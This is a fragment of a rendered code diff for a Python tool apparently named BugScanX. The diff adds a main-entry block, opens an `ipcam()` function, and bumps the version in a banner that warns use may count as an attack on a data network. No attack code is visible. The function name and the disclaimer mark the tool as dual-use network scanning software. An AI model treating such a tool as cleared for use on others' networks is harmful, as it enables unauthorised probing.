|
|
14476
14706
|
|
|
14477
|
-
|
|
14478
|
-
|
|
14707
|
+
if __name__ == "__main__":
|
|
14708
|
+
main()
|
|
14479
14709
|
|
|
14480
14710
|
def ipcam():
|
|
14481
14711
|
import requests
|
|
@@ -15995,7 +16225,7 @@ def banner():
|
|
|
15995
16225
|
MAGENTA + "██╔═══╝ ██╔══██╗██║ ██║" + LIME + "user should understand that useage of this script may be" + ENDC,
|
|
15996
16226
|
MAGENTA + "██║ ██║ ██║╚██████╔╝" + LIME + "concidered an attack on a data network, and may violate terms" + ENDC,
|
|
15997
16227
|
MAGENTA + "╚═╝ ╚═╝ ╚═╝ ╚═════╝" + LIME + "of service, use on your own network or get permission first" + ENDC,
|
|
15998
|
-
PURPLE + "script_version@ 1.
|
|
16228
|
+
PURPLE + "script_version@ 1.2.0 ®" + ENDC,
|
|
15999
16229
|
ORANGE + "All rights reserved 2022-2025 ♛: ®" + ENDC,
|
|
16000
16230
|
MAGENTA + "In Collaboration whit Ayan Rajpoot ® " + ENDC,
|
|
16001
16231
|
BLUE + "Support: https://t.me/BugScanX 💬" + ENDC,
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|